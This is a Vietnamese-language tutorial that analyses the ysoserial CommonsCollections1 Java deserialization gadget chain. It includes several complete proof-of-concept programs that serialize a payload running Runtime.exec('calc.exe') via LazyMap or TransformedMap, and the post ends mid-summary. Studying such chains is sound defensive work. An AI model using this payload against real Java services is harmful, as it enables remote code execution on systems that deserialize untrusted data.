Java Security - CommonsCollections1 (ysoserial)

29k words

I. Tổng quan về CommonsCollections1 chain

Chain này có tác dụng là RCE.
Để hiểu và phân tích chain này cần có kiến thức về các cơ chế sau trong Java:

  • Reflection API
  • Dynamic Proxy

CC1 có thể sử dụng 1 trong 2 method để khai thác:

  • Một là sử dụng LazyMap.get(), lúc này tổng thể chain sẽ trông như sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
  • Hai là sử dụng TransformedMap.put():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Trong bài này tôi sẽ phân tích theo thứ tự Sink -> Source -> Gadget Chain.
Hai cách sử dụng chain đa phần đều giống nhau, chỉ khác ở 1 cái sử dụng LazyMap.get(), 1 cái sử dụng TransformedMap.put() do đó khi phân tích phần Sink và phần Source tôi sẽ để ở mục chung, còn phân tích về 2 gadget nhỏ trong chain tôi sẽ tách riêng

II. Setup môi trường

Github: https://github.com/frohoff/ysoserial
JDK 8u65
Maven 3.5.1

Nếu muốn đặt Language Level là 8 - Lamdas, type anotations, etc. thì ta phải sửa dòng 25-26 trong file pom.xml của project

III. Phân tích chain

Ở đây tạm thời sử dụng PoC có gadget chain dùng LazyMap.get() chủ yếu để xem full chain để nhìn qua overview là chính, còn về bản chất vẫn có 2 PoC dành riêng cho LazyMapTransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsExploit {
public static void main(String[] args) throws Exception {
// Bước 1: Chuỗi transformer để kích hoạt Runtime.getRuntime().exec("calc.exe")
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

// Bước 2: Bọc một Map bằng LazyMap để kích hoạt chuỗi transformer
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

// Bước 3: Tạo AnnotationInvocationHandler bằng reflection
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

// Bước 4: Tạo dynamic proxy để kích hoạt invoke() → get() → transform()
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);

// Bước 5: Lồng proxyMap vào một AnnotationInvocationHandler khác
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

// Bước 6: Serialize đối tượng để kích hoạt chuỗi khi deserialization
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
oos.close();
}
}

3.1. Phân tích phần Sink

Phân tích đoạn này trước, vì đây là Sink để ta có thể thực hiện RCE:

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
  • Transformer là một interface.
  • ConstantTransformerInvokerTransformer đều là các class được implement từ interface Transformer.

Class ConstantTransformer

Constructor của ConstantTransformer nhận vào một object bất kỳ và lưu object đó vào biến nội bộ iConstant. Trong PoC, object được truyền vào là Runtime.class.

Vì lý do này, mỗi khi method transform() được gọi, nó sẽ bỏ qua tham số đầu vào của transform() và luôn trả về object đã được lưu trong iConstant, tức là Runtime.class.

Nói cách khác, dù transform() được gọi với bất kỳ giá trị nào, kết quả trả về vẫn luôn là giá trị đã truyền vào constructor ban đầu.

Ví dụ minh họa ngắn:

1
2
3
4
5
Transformer transformer = new ConstantTransformer(Runtime.class);

Object result1 = transformer.transform("abc");
Object result2 = transformer.transform(123);
Object result3 = transformer.transform(null);

Cả 3 kết quả đều là: Runtime.class

Chúng ta sẽ đi sâu hơn vào chi tiết chính xác bằng cách nào phương thức transform() được gọi ở trong gadget chain sau.

Class InvokerTransformer

Đặt một breakpointtrace vào class InvokerTransformer bằng debugger.

Ở đây, ba tham số được truyền vào constructor:

  1. Tên phương thức (method name)
  2. Kiểu của các tham số (parameter types – tức là chữ ký của phương thức)
  3. Giá trị tham số thực tế (actual argument values)

Để dễ hiểu hơn, dưới đây là phân tích các giá trị tham số được truyền vào cho từng InvokerTransformer:

  • getMethod, null, "getRuntime"
  • invoke, null, null
  • exec, null, "calc.exe"

Class này cũng chứa một method transform, đây là một phần rất quan trọng trong chain - tuy nhiên, hiện tại chúng ta sẽ tạm hoãn việc phân tích chi tiết phương thức này và sẽ quay lại sau.

Class ChainedTransformer

Hãy xem dòng code tiếp theo:

1
Transformer transformerChain = new ChainedTransformer(transformers);

Ở đây, mảng transformers được truyền vào constructor của ChainedTransformer.

Constructor ChainedTransformer sẽ gán mảng transformers được truyền vào cho một biến thành viên của lớp.
Sau này, nếu phương thức transform() được gọi, nó sẽ duyệt qua mảng transformer và lần lượt gọi phương thức transform() của từng transformer.

Vì vậy, tại thời điểm này trong quá trình phân tích, câu hỏi quan trọng cần làm rõ là:

  • Chính xác thì khi nào phương thức transform() của ChainedTransformer được gọi?

Mô tả chính thức (sau khi được dịch):

Một implementation của transformer cho phép xâu chuỗi (chain) nhiều transformer lại với nhau.

Đối tượng đầu vào sẽ được truyền vào transformer đầu tiên, kết quả của transformer đó sẽ được truyền cho transformer thứ hai, và cứ tiếp tục như vậy.

Nói cách khác, output của Transformer trước sẽ trở thành input của phép Transformer tiếp theo, cho đến khi kết thúc toàn bộ chain.

Ở đây chúng ta thấy rằng Runtime được truyền vào, nhưng tại sao lại cụ thể là Runtime?

Nếu quay lại xem class ConstantTransformer, ta có thể thấy rằng khi phương thức transform() của nó được gọi, nó chỉ đơn giản trả về this.iConstant.

Trước đó, khi chúng ta định nghĩa mảng transformer, chúng ta đã khởi tạo nó bằng: new ConstantTransformer(Runtime.class)

Ở đây có thể thấy, bên trong mảng Transformer[], thứ được lưu là Runtime.class, chứ không phải Runtime object.

Nguyên nhân là vì Runtime không implement interface java.io.Serializable, nên nó không thể bị serialize. Còn Runtime.class thuộc về java.lang.Class. java.lang.Class có implement interface java.io.Serializable, nên nó có thể bị serialize.

Vì vậy, đối tượng được truyền vào ở đây chính là đối tượng lớp Runtime (Runtime.class).

Trong lần thực thi đầu tiên của transformation chain, Runtime.class đã được truyền làm đầu vào cho toàn bộ chuỗi.

Method transform() ở đây sử dụng Java Reflection:

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(getMethod,null);
return method.invoke(input, getRuntime);

Đoạn code này sử dụng reflection để gọi một phương thứctrả về kết quả của lời gọi getRuntime().

Tóm lại, đoạn này thực hiện:

  • Thực hiện reflection trên đối tượng đầu vào (input)
  • Tìm phương thức có tên được chỉ định bởi getMethod()
  • Gọi (invoke) phương thức đó với tham số getRuntime()
  • trả về kết quả của lời gọi phương thức đó

lần thứ hai, giá trị đầu vào (input) được truyền vào là Runtime.getRuntime()

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(invoke, null);
return method.invoke(input, null);

Ở lần thứ hai, phương thức này trả về đối tượng Runtime đã được khởi tạo.

Sau đó, ở lần thứ ba, instance Runtime này sẽ được truyền vào như tham số cho lời gọi phương thức tiếp theo.

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod("exec", null);
return method.invoke(input, "calc.exe");

Bằng cách này, ta có thể thực thi được code trên hệ thống.

Mục đích của ChainedTransformerxâu chuỗi (chain) các Transformer lại với nhau.

Tóm tắt:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("invoke", ...),
new InvokerTransformer("exec", ...)
};
Transformer transformerChain = new ChainedTransformer(transformers);

Phần code bên trên tương đương với: Runtime.class.getMethod("getRuntime").invoke(null).exec("calc.exe");

ChainedTransformer.transform():

Khi transformerChain.transform(...) được gọi, nó sẽ thực thi exec("calc.exe").

Nhưng làm thế nào để trigger được transformerChain.transform()

Class TransformedMap và class LazyMap

Đây chính là 2 class giúp trigger phương thức transform(). Do 2 Map (TransformedMapLazyMap) này là wrapper của Map gốc, nên khi có thao tác trên Map gốc chẳng hạn như put() hoặc setValue() của Map.Entry thì method trên 2 Map được biến đổi sẽ được thực thi
Với TransformedMap.

3.2.1. Phân tích chain sử dụng TransformedMap

PoC sử dụng TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsExploit {
public static void main(String[] args) throws Exception {
// Bước 1: Chuỗi transformer để kích hoạt Runtime.getRuntime().exec("calc.exe")
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

// Bước 2: Bọc một Map bằng TransformedMap để kích hoạt chuỗi transformer
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// Bước 3: Tạo AnnotationInvocationHandler bằng reflection
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

// Bước 4: Serialize đối tượng để kích hoạt chuỗi khi deserialization
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
oos.close();
}
}

Ở trên ta đã nói về việc TransformedMap dùng để trigger method transform(). Xem xét bên trong class TransformedMap chứa gì?
Ta thấy method checkSetValue() có gọi đến transform(). Tuy nhiên ta cần xem valueTransformer là gì ?

Ta thấy valueTransformer là một field bên trong constructor của TransformedMap:

Nói qua tổng thể về constructor của TransformedMap.

  • Nó có modifier là protected
  • Nó nhận vào 3 tham số, trong đó:
    • 1 tham số kiểu Map
    • 2 tham số kiểu Transformer (1 để lưu key cần biến đổi, 2 là lưu value cần biến đổi)

Dòng super(map); thực chất truyền map lên class cha là AbstractInputCheckedMapDecorator. Ta có thể hover vào chữ super rồi ấn Ctrl + B để tìm class parent.

Do constructor TransformedMap có modifier là protected nên ta phải dùng method TransformedMap.decorate() để khởi tạo 1 instance của TransformedMap.

Sở dĩ việc để constructor của TransformedMap có modifier là protected là do TransformedMap ko được thiết kế để tự tạo ra 1 instance mới, mà nó chỉ đơn thuần để trang trí decorate cho 1 instance của 1 Map khác.

Trong exploit, đây là đoạn dùng để khởi tạo 1 instance của TransformedMap (là biến outerMap), trong đó truyền cả transformerChain vào vị trí mà valueTransformer để làm bàn đạp thực thi method transform

1
2
3
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Tới đây thì TransformedMap đã đc khởi tạo, tuy nhiên ta cần tìm method gọi đến TransformedMap.checkSetValue().
Ấn Ctrl + Shift + F và tìm từ khóa checkSetValue():

Ở đây tôi tìm được method MapEntry.setValue() có gọi đến checkSetValue(). MapEntry là 1 inner class nằm trong trong class AbstractInputCheckedMapDecorator.

Về setValue(), method này đơn giản chỉ là lưu giá trị vào phần value trong cặp “key - value” của 1 Map bình thường.
Ta có thể làm như sau để kiểm chứng:
Ấn vào biểu tượng “@ màu xanh” để xem MapEntry.setValue() đang Override lại method nào

Ta thấy nó override method setValue() của AbstractMapEntryDecorator() (thật ra ngay từ khi nhìn thấy cú pháp extends trong phần MapEntry extends AbstractMapEntryDecorator là đã hiểu rồi). Tiếp tục, lại ấn vào biểu tượng để xem nó implement từ method gốc nào.

Ta có thể thấy nó implement method setValue() của interface Map

Vậy ở ta cần tìm nơi gọi đến setValue(). Ta thấy trong method readObject() của class AnnotationInvocationHandler có gọi đến setValue()

Ở đây đã ta đã trace đến phần source của chain này là class AnnotationInvocationHandler nên chuyển sang mục tiếp theo để phân tích tiếp

3.2.2. Phân tích chain sử dụng LazyMap

PoC sử dụng LazyMap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsExploit {
public static void main(String[] args) throws Exception {
// Bước 1: Chuỗi transformer để kích hoạt Runtime.getRuntime().exec("calc.exe")
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

// Bước 2: Bọc một Map bằng LazyMap để kích hoạt chuỗi transformer
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

// Bước 3: Tạo AnnotationInvocationHandler bằng reflection
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

// Bước 4: Tạo dynamic proxy để kích hoạt invoke() → get() → transform()
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);

// Bước 5: Lồng proxyMap vào một AnnotationInvocationHandler khác
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

// Bước 6: Serialize đối tượng để kích hoạt chuỗi khi deserialization
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
oos.close();
}
}

Ở trên ta đã nói về việc LazyMap dùng để trigger method transform(). Xem xét bên trong class LazyMap chứa gì?

Ta thấy method get() có gọi đến transform() ở đoạn factory.transform(key). Tuy nhiên ta cần xem factory là gì ?

factory cũng có kiểu dữ liệu Transformer

Constructor của LazyMap cũng có modifier là protected.

Ngoài ra LazyMap cũng có method decorate() với tác dụng tương tự với decorate() của TransformedMap, đều là wrapper của Map.

Ta khởi tạo LazyMap thông qua decorate()

1
2
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Ở đây cách hoạt động cũng tượng tự như việc dùng TransformedMap để bọc Map, tôi sẽ ko phân tích lại.

Phần này ta quan tâm chủ yếu xem method nào đã gọi LazyMap.get(), hay hiểu đơn giản là gọi method get() trên 1 Map

Bên trong method invoke() của AnnotationInvocationHandler có gọi đến method this.memberValues.get()

this.memberValues có kiểu dữ liệu là 1 Map

Đi qua phần phân tích Source để xem cách AnnotationInvocationHandler thực thi khi dùng với LazyMap

3.3. Phân tích phần Source

Bình thường nếu class AnnotationInvocationHandler public, ta có thể dùng AnnotationInvocationHandler.class. Tuy nhiên do nó có modifier là default và nằm trong package nội bộ của JDK sun.reflect.annotation nên ta phải dùng Reflection để instantiate.

1
2
3
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

Việc khởi tạo 1 instance của AnnotationInvocationHandler đã xong.
Ở đây ta thấy để có thể gọi được đến var5.setValue() thì phải thỏa mãn được vài điều kiện.

Ở đây ta sẽ đi lần lượt qua cách hoạt động của AnnotationInvocationHandler.readObject() cũng như cách bypass các điều kiện.

Trước tiên, dòng var1.defaultReadObject(); sẽ thực hiện deserialize các field của object ở chế độ mặc định.
Ví dụ trong AnnotationInvocationHandler ta biết khi khởi tạo có các field như sau:

1
2
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

Sau dòng này, object sẽ khôi phục lại được sẽ là: this.typethis.memberValues. Giả sử: this.type = Retention.class;this.memberValues = một Map nào đó

Đến đây ta thấy xuất hiện điều kiện đầu tiên:

1
2
3
4
5
try {
var10 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

this.typeClass<?> đại diện cho kiểu annotation. Nếu chưa rõ Class<?> là gì có thể xem lại bài (TODO).

this.type kiểm tra có thật sự là một annotation type hợp lệ không, đồng thời lấy metadata của annotation đó và lưu vào var10.

Một annotation type hợp lệ nếu nó nằm trong là 1 trong số các type sau: Retention.class, Target.class, Override.class, Deprecated.class
Các type sau đc cho là ko hợp lệ: String.class, HashMap.class, Runtime.class

Đi tiếp tới dòng Map var3 = var10.memberTypes();, dòng này lấy ra map chứa tên member của annotation và kiểu dữ liệu tương ứng rồi lưu vào var3

Ví dụ về cách var3 lưu dữ liệu. Ta có annotation sau:

1
2
3
4
@interface MyAnno {
String name();
int age();
}

Trong Java, member của annotation được khai báo giống method, nhưng ý nghĩa của nó là một “thuộc tính” của annotation. Nhìn name()age() giống hàm vì cú pháp Java dùng method declaration để định nghĩa annotation element.

Ta dùng annotation:

1
2
@MyAnno(name = "Nam", age = 16)
class Student {}

Lúc này "Nam" là giá trị cho name(), còn 16 là giá trị cho age().
Vậy memberTypes() sẽ có giá trị:

1
2
3
4
{
"name" -> String.class,
"age" -> int.class
}

Tiếp tục, ta đi đến đoạn code chứa 2 điều kiện cuối cùng cần thỏa mãn để có thể đi được vào method setValue()

1
2
3
4
5
6
7
8
9
10
for(Map.Entry var5 : this.memberValues.entrySet()) {
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));
}
}
}

Dòng này dùng để duyệt qua từng entry trong memberValues.

1
for (Map.Entry var5 : this.memberValues.entrySet()) {

Ví dụ:

1
@MyAnno(name = "An", age = 16)

vậy var5 sẽ có dạng:

1
2
3
4
{
"name" -> "An",
"age" -> 16
}

Tiếp tục, đến dòng String var6 = (String)var5.getKey(); sẽ lấy key của entry, ép kiểu sang String. Key là tên member annotation, ví dụ: "name", "age".

Dòng Class var7 = (Class)var3.get(var6); sẽ lấy kiểu dữ liệu được khai báo của member có tên var6.

Như phân tích ở bên trên ta thấy var3 có kiểu dữ liệu như sau:

1
2
3
4
{
"name" -> String.class,
"age" -> int.class
}

Vậy thì var7 sẽ có giá trị như sau:

  • Nếu var6"name" thì var7 là: String.class
  • Nếu var6"age" thì var7 là: int.class
  • Nếu không tìm thấy member tương ứng, var7 sẽ là null.

Đi tiếp ta gặp điều kiện thứ hai:

1
if (var7 != null) {

Ta biết var3 chỉ lấy memberTypes có trong var10, mà số lượng member sẽ bị giới hạn đối với từng loại Annotation.

var5 lấy dữ liệu từ memberValues, nên nếu memberValues có key không tồn tại trong annotation thì var3.get(key) sẽ trả về null.

Vậy thì khối if này sẽ chỉ thực hiện xử lý đối với các cặp key - value mà phần key có xuất hiện trong annotation được khai báo, còn ko thì bỏ qua.

Muốn đi qua điều kiện if (var7 != null) thì memberValues phải có ít nhất 1 key trùng với member được khai báo trong annotation.

Ví dụ hợp lệ:

1
2
3
@interface MyAnno {
String value();
}

Lúc này nếu memberValues như sau sẽ pass

1
2
3
memberValues = {
"value" -> "abc"
}

Nhưng nếu memberValues như sau sẽ fail

1
2
3
memberValues = {
"xxx" -> "abc"
}

Ta có thể dùng Retention để làm Annotation, sở dĩ do annotation này có kiểu dữ liệu là string, nếu ta truyền 1 hashmap có key là string thì điều kiện này có thể thỏa mãn.

1
2
3
4
5
6
7
8
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

Ta truyền vào annotation type là Retention.class, annotation này thỏa mãn điều kiện có ít nhất 1 memberValues. Như vậy đủ để pass đoạn for(Map.Entry var5 : this.memberValues.entrySet()).

3.3.1. Cách AnnotationInvocationHandler thực thi khi dùng với TransformedMap

Ở đoạn này:

1
2
Map innerMap = new HashMap();
innerMap.put("value", "value");

Ta truyền memberValues là 1 HashMap với 1 key có giá trị là value. Điều này giúp thỏa mãn điều kiện if (var7 != null). Tuy rằng HashMap này đã được decorate bởi TransformedMap nhưng ko sao.

Ok, vậy là đã thỏa mãn 2 điều kiện đầu tiên. Ta đi phân tích nốt đoạn cuối để dẫn đến được phần gọi đến setValue()

Dòng Object var8 = var5.getValue(); lấy giá trị thực tế của member.

Ta nhớ var5 là 1 Map với kiểu dữ liệu:

1
2
3
4
{
"name" -> "An",
"age" -> 16
}

Lúc này var8 sẽ có giá trị: {"An", 16}

Đến với điều kiện cuối:

1
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))

Khối if này kiểm tra giá trị có đúng kiểu mong đợi không.

Điều kiện này có 2 phần:

Phần !var7.isInstance(var8) nghĩa là var8 không phải instance của kiểu var7. Ví dụ member cần String nhưng giá trị lại là Integer thì sai.

Phần !(var8 instanceof ExceptionProxy) nghĩa là var8 cũng không phải object đại diện cho lỗi annotation.

ExceptionProxy là cơ chế trì hoãn lỗi. Thay vì throw lỗi ngay lúc deserialize, Java có thể lưu một proxy lỗi và chỉ throw lỗi khi người dùng gọi member annotation đó.

Toàn bộ điều kiện nghĩa là:

Nếu giá trị không đúng kiểu, và nó cũng chưa phải là proxy lỗi, thì thay nó bằng một proxy lỗi.

Ở đây ta đã đến được var5.setValue(), tuy nhiên ta lại ko thể control được tham số truyền vào setValue() vì đã bị chỉ định là class AnnotationTypeMismatchExceptionProxy.
Ta cần tìm một class có thể kiểm soát được tham số của setValue().

Với exploit của chúng ta:

1
2
3
4
5
6
7
8
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(
innerMap,
null,
transformerChain
);

Khi code chạy:

1
for (Map.Entry var5 : this.memberValues.entrySet())

Lúc này this.memberValues = outerMap, nhưng vì outerMapTransformedMap chứ ko phải HashMap như innerMap.
Khi code thực thi 1 hành động trên Map, cụ thể là var5.setValue() thì lúc này sẽ ko thực thi ngay đoạn var5.setValue() mà sẽ chạy qua logic của wrapper (tức TransformedMap).

Vậy thì khi var5.setValue(x) được gọi thì:

1
2
Object transformed = transformerChain.transform(x);
originalEntry.setValue(transformed);

Với x là tham số đc truyền vào var5.setValue():

  • x = new AnnotationTypeMismatchExceptionProxy(...).setMember(...)
  • originalEntry là entry bên trong innerMap, ví dụ entry "value" -> "value"

Vậy thì điều này liên quan gì đến việc tìm ra method có thể control được tham số bên trong setValue() ?
Câu trả lời ở đây là khi ta sử dụng ConstantTransformer làm phần tử đầu tiên của array transformerChain, lúc này sau lần transform() đầu tiên nó sẽ luôn trả về giá trị mà ta đã truyền vào khi khởi tạo ConstantTransformer. Vậy thì x ở trong đoạn Object transformed = transformerChain.transform(x); sau lần transform() đầu tiên sẽ luôn trả về cùng 1 giá trị, mà giá trị này ta kiểm soát được.

Khi tôi phân tích cách dùng với LazyMap.get() tôi chỉ nghĩ rằng ConstantTransformer được dùng để làm bàn đạp đưa Runtime.class vào, tuy nhiên khi phân tích cách xây dựng chain với TransformedMap tôi mới nhận ra nó có tác dụng khác là như vậy.

Vậy là đã phân tích xong cách xây dựng chain với TransformedMap.

3.3.2. Cách AnnotationInvocationHandler thực thi khi dùng với LazyMap

Bản chất đoạn:

1
2
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

cũng tương tự với đoạn

1
2
3
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Tuy nhiên có 1 điểm khác biệt, khi dùng TransformedMap ta sẽ trigger ngay sau khi hàm readObject() của AnnotationInvocationHandler thực thi và đi đến được method var5.setValue().

Với LazyMap thì phần trigger lại là method invoke() của AnnotationInvocationHandler, do đó ta cần tìm cách gọi được đến invoke(). Quá trình gọi tới invoke() chính là nhờ sự tận dụng cơ chế Dynamic Proxy trong Java.

Về Dynamic Proxy, đọc bài viết sau: TODO. Ở dưới tôi sẽ phân tích cách mà dynamic proxy được tận dụng để gọi tới invoke() và làm bàn đạp trigger chain.

Xem đoạn code sau:

1
2
3
4
5
6
7
8
9
10
11
12
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);

handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

Ở đây ta thấy có tận 2 handler:

  • InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
  • handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

Chain này mới đầu khi tôi đọc thì thấy phải tạo 2 lần handler của Dynamic Proxy thì cảm giác hơi rối, không hiểu vì sao phải tạo như vậy.

Tác dụng của handler thứ nhất:

Handler thứ nhất dùng để bọc LazyMap

1
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Lúc này ta có:

1
2
3
handler_1
└── memberValues = outerMap
└── LazyMap + transformerChain

handler_1 là một AnnotationInvocationHandler.

Khi handler_1.invoke(...) được gọi bởi dynamic proxy, nó sẽ lấy tên method rồi gọi vào memberValues.get(methodName).

Nếu proxy được gọi: proxyMap.entrySet(); thì bên trong handler_1.invoke(...) sẽ thực hiện kiểu:

1
2
String methodName = "entrySet";
memberValues.get(methodName);

Điều này đồng nghĩa với việc thực thi outerMap.get("entrySet");, đây chính là đoạn gọi tới LazyMap.

Tạo dynamic proxy proxyMap

1
2
3
4
5
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);

Lúc này ta có:

1
2
3
proxyMap là Proxy implement Map
└── InvocationHandler = handler_1
└── memberValues = LazyMap

Nếu ai đó gọi: proxyMap.entrySet(); thực tế không chạy HashMap.entrySet() bình thường. Mà nó sẽ chuyển thành: handler_1.invoke(proxyMap, method entrySet, args) rồi handler_1 sẽ gọi outerMap.get("entrySet");

Từ đó kích hoạt transformerChain.

Tạo handler thứ hai: handler bọc proxyMap

1
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

Đây là handler thứ hai.

Lúc này cấu trúc trở thành:

1
2
3
4
5
handler_2
└── memberValues = proxyMap
└── InvocationHandler = handler_1
└── memberValues = LazyMap
└── transformerChain

Sau đó serialize handler_2:

1
oos.writeObject(handler);

Tức object chính được ghi ra file là handler_2, không phải handler_1.

Nói tóm lại:

